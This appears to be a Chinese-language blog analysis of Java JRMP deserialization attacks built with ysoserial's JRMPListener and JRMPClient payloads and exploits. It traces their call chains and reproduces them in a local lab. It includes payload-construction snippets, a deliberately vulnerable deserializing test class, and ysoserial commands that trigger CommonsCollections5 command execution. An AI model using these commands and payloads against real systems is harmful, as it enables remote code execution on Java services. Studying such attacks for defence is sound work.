目录

Java JRMP 反序化

Java JRMP 反序化

RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为 Java 定制,基于 TCP/IP 之上,RMI 协议之下,当需要进行 RMI 远程方法调用通信的时候要求服务端与客户端都为 Java 编写。

这个协议就像 HTTP 协议一样,规定了客户端和服务端通信要满足的规范,RMI 底层默认使用的 JRMP 进行传递数据,并且 JRMP 协议只能作用于 RMI 协议。

通过DGCImpl来实现攻击的也有两种,DGCImpl_Stub#dirty(服务端攻击客户端),还有个就是 DGCImpl_Skel#dispatch(客户端攻击服务端)

之前看到 DGCImpl_Skel#dispatch 方法:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902213400137.png

存在个 case1 和 case2,分别对应了 cleardirty 方法,和 RgestryImpl_Skel#dispatch 中异曲同工。而且这里的两种都有反序列化,

ysoserial 程序分析

payload/JRMPListener

调用链

UnicastRemoteObject.readObject()
UnicastRemoteObject.reexport()
    UnicastRemoteObject.exportObject()
        UnicastServerRef.exportObject()
            LiveRef.exportObject()
                TCPEndpoint.exportObject()
                    TCPTransport.exportObject()
                        TCPTransport.listen()

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902215005700.png

通过 createWithConstructor 方法来实例化了一个 UnicastRemoteObject 对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902215621898.png

看到就是通过反射调用进行实例化对象,看到其第四个参数是构造函数所需的具体参数也就是 consArgs,跟进第四个参数 UnicastServerRef 构造方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902220439803.png

调用了其父类的构造方法,继续跟进。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902220539782.png

调用了其其他构造方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902220717727.png

嗯,和前面的 rmi 服务类注册没什么区别,TCPEndpoint.getLocalEndpoint(port) 就是一些对网络请求的处理,继续向下

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902221413594.png

其实也就没什么了,结束返回对象 UnicastServerRef,其中包含的 ref 如下

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902221610030.png

接着就是进入 createWithConstructor 方法了,这个就是刚才说的通过反射来进行实例化对象的方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902221815705.png

首先进行获取 consArgsTypes 类型参数的构造方法,传入的 constructorClassRemoteObject,所以获得的其构造方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903001926807.png

然后执行 ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons)

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902222201415.png

这样就可以绕过构造器直接进行实例化并且不会对进行 ref 进行初始化。最后获得实列 ActivationGroupImpl,这里还向上转型了 UnicastRemoteObject(这样可以避免直接实例化 UnicastRemoteObject 对象直接触发监听)。

当正常对 UnicastRemoteObject 反序列化,会发现端口并不是指定的,而是一个随机端口,最后通过反射进行修改,传入的参数就是端口

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);

到这里构造 JRMP Listener 的 payload 就已经结束了。这个 payload/JRMPListener 的主要作用就是让被攻击机开启监听端口。

exploit/JRMPClient

而在ysoserial中,exploit/JRMPClient 调用了 makeDGCCall,主要为了调用 dirty 方法触发反序列化,传递一个用于反序列化的对象

最后在远程 DGC 层触发反序列化,以达到攻击远程 DGC 层的目的。

这个 exp 通常和上面的 payload 配合使用,当被攻击机开启端口后,就利用该 exp 发生恶意的链子进行反序列化。

payload/JRMPClient

反序列化 UnicastRef 类,UnicastRef 实现了 RemoteRef 接口,RemoteRef 接口又实现了 Externalizable 接口。

其中在 Externalizable 接口定义了 writeExternalreadExternal 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903195451361.png

这两个方法分别实现了序列化和反序列化,UnicastRef 类中对这两个方法进行了重写。

先看 UnicastRef.readExternal 方法:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903195824635.png

调用了 LiveRef.read 方法,跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903200600681.png

其中 TCPEndpoint.readHostPortFormat 就是获取 host 和 port,返回一个封装了 host 和 port 的 TCPEndpoint。

然后看到 new 了个 ref 对象。以前 RMI 中经常遇见这个对象,里面就是封装的一些 host,port,objid 等信息。看到如果输入流的类型就可以不是 ConnectionInputStream 类型(这个输出流我们是可以进行控制的),那么就会进入 else 语句

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903200900291.png

调用 DGCClient.registerRefs() 方法,跟进该方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903201047351.png

看到调用 lookup 方法,然后返回的 EndpointEntry 对象调用 registerRefs() 方法,在该方法结尾处调用

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903201250116.png

跟进 makeDirtyCall 方法,其中会调用 DGC.dirty 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903201458018.png

实际会调用 DGCImpl_Stub.dirty 方法,这个方法下调用了 newCall 方法建立一次连接,还会会对 remoteCall 进行一次反序列化

所以这里利用下面方法方法创建了个 UnicastRef 对象

ObjID id = new ObjID(new Random().nextInt()); // RMI registry  
TCPEndpoint te = new TCPEndpoint(host, port);  
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

因为创建 UnicastRef 对象需要 LiveRef 对象,而 LiveRef 对象里的参数有需要 TCPEndpoint 对象。

然后创建 UnicastRef 的动态代理。

RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);  
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {  
    Registry.class  
}, obj);

这个类的关键代码就是这些了。这个 payload 的主要作用是序列化后触发 DGC 通信然后进行反向连接。接受到服务端的 exp 再次进行反序列化从而执行恶意代码。

exploit/JRMPListener

exploit/JRMPListener 开启监听,客户端向 exploit/JRMPListener 进行连接时,会返回给客户端一个序列化对象,服务器接收一个对象后会进行反序列化操作

这个恶意对象就是这里 payloadObject

有什么办法让客户端主动向 exploit/JRMPListener 进行连接?

那就要用到 payload/JRMPClient,UnicastRef 对象封装了 host、port 等信息,反序列化 UnicastRef 对象后,会触发 DGC 通信,与指定 host 的指定 port 进行连接

导致恶意服务端传输恶意数据流,在客户端造成反序列化

关于 JRMP 的两种攻击流程如下

第一种攻击方式

个人理解:基于 RMI 的反序列化中的客户端打服务端的类型

我们需要先发送指定的 payload(JRMPListener)到存在漏洞的服务器中,使得该服务器反序列化完成我们的 payload 后会开启一个 RMI 的服务监听在设置的端口上。

我们还需要在我们自己的服务器使用 exploit(JRMPClient)与存在漏洞的服务器进行通信,并且发送一个利用链,达到一个命令执行的效果。

简单来说就是将一个 payload(JRMPListener)发送到存在漏洞的服务器,存在漏洞的服务器反序列化操作该 payload(JRMPListener)过后会在指定的端口开启 RMI 监听,然后再通过 exploit(JRMPClient) 去发送利用链载荷,最终在存在漏洞的服务器上进行反序列化操作。

第二种攻击方式

个人理解:基于 RMI 的反序列化中的服务端打客户端的类型,这种攻击方式在实战中比较常用

将 exploit(JRMPListener)作为攻击方进行监听。

我们发送指定的 payloads(JRMPClient)使得存在漏洞的服务器向我们的 exploit(JRMPListener)进行连接,连接后 exploit(JRMPListener)则会返回给存在漏洞的服务器序列化的对象,而存在漏洞的服务器接收到了则进行反序列化操作,从而进行命令执行的操作。

PS:这里的 payload 和 exploit 就是指的不同包下的 JRMPListener 和 JRMPClient!

第一种攻击方式(客户端攻击服务端)

payloads.JRMPListener+exploit.JRMPClient

看到上面 yso 中的四个类分析,可以先利用 payloads.JRMPListener 让客户端开启监听端口,在 yso 的运行下,这个对象将会被序列化处理,然后被进行传输,那么既然被序列化了,那么肯定是需要被触发的。

先通过yso来进行生成这个序列化对象:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1099 > payload1.txt

也可以进行base64编码,-w 0表示编码不换行

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1099|base64 -w 0 > payload1.txt

然后创建个可以进行反序列化的服务器来继续测试(需要存在反序列化漏洞?

package org.example;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
  
public class jrmptest {  
    public static void main(String[] args) {  
        deserialize();  
    }  
  
    public static void serialize(Object obj) {  
        try {  
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jrmplistener_payload.txt"));  
            os.writeObject(obj);  
            os.close();  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    public static void deserialize() {  
        try {  
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("D:\\yingwenmingthree\\ysoserial-master\\target\\payload1.txt"));  
            is.readObject();  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

运行

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903205600498.png

虽然这里没有什么显示,但是去查看端口发现 1099 端口已经开始监听了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903205702305.png

说明已经成功反序列化了我们的 payload1.txt,

具体RMI服务端和注册端如何绑定远程对象的详细过程参考:https://www.cnblogs.com/zpchcbd/p/13517074.html

当前面的 payloads/JRMPListener 作用了之后,那么对方就已经开启了 RMI 服务,接下来我们就可以通过 exploit/JRMPClient 发送 gadgets 来进行利用了(前提对方存在可以利用的 gadgets)

该方法中的两个注解:

一、其功能和 RMIRegistryExpoit 类似,但是 RMIRegistryExpoit 主要目标是 rmi 的 Registry 模块,而 JRMPClient 攻击的目标是的 rmi 中的 DGC 模块(Distributed Garbage Collection),只要有 RMI 服务监听了,都会有 DGC 的存在!

二、因为它Client全都是向server发送数据,没有接受过任何来自server端的数据。在 exploit/JRMPListener 和 payloads/JRMPClient 的利用过程中,这个 server 端和 client 端,攻击者和受害者的角色是可以互换的,在你去打别人的过程中,很有可能被反手一下,所以最好的情况就是,只是发送数据,不去接受另一端传过来的信息,所以说用这个 exploit/JRMPClient 是不会自己打自己的)

先来看下yso的 exploit/JRMPClient 的攻击复现,这里接着上面反序列化了 payload/JRMPListener 模块,开启了一个 1099 端口

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 calc

直接就攻击成功了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903210857972.png

其调用栈

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240903211453842.png

其实该 payload 最主要的就是利用的 DGCImpI_Skel 的 dispatch 方法中的分支的反序列化进行攻击。剩下的我感觉其实就是 RMI 服务端接收来自客户端的数据的一些处理。

第二种攻击方式(服务端攻击客户端)

exploit.JRMPListener+payloads.JRMPClient

这个服务端打客户端的类型比起客户端打服务端的类型会更加的常用,一方面是外连,另一方面更多的因为是该 exploit/JRMPListener+payloads/JRMPClient 还存在绕过 JEP290 的限制,所以往往会更加的通用。

参考 Java JEP290

payloads.JRMPClient:携带指定的攻击机 ip 和端口生成受害机第一次反序列化(需要代码中存在一个反序列化点)时的 payload,受害机反序列化该 payload 时会向指定的攻击机 ip+端口发起 RMI 通信,在通信阶段攻击机会将第二次反序列化的 payload(如 CommonCollections1)发送给受害机,此时发生第二次反序列化,执行真正的恶意命令。

找到一个反序列化点,然后将其 payloads/JRMPClient 发送,自己本地开启一个 exploit/JRMPListener 监听,最后就能成功,

既然有反序列化点为什么不直接打 cc 链了,是为了绕过 JEP290 或者其他什么过滤之类的?

参考:https://www.cnblogs.com/zpchcbd/p/14934168.html

参考:https://xz.aliyun.com/t/12780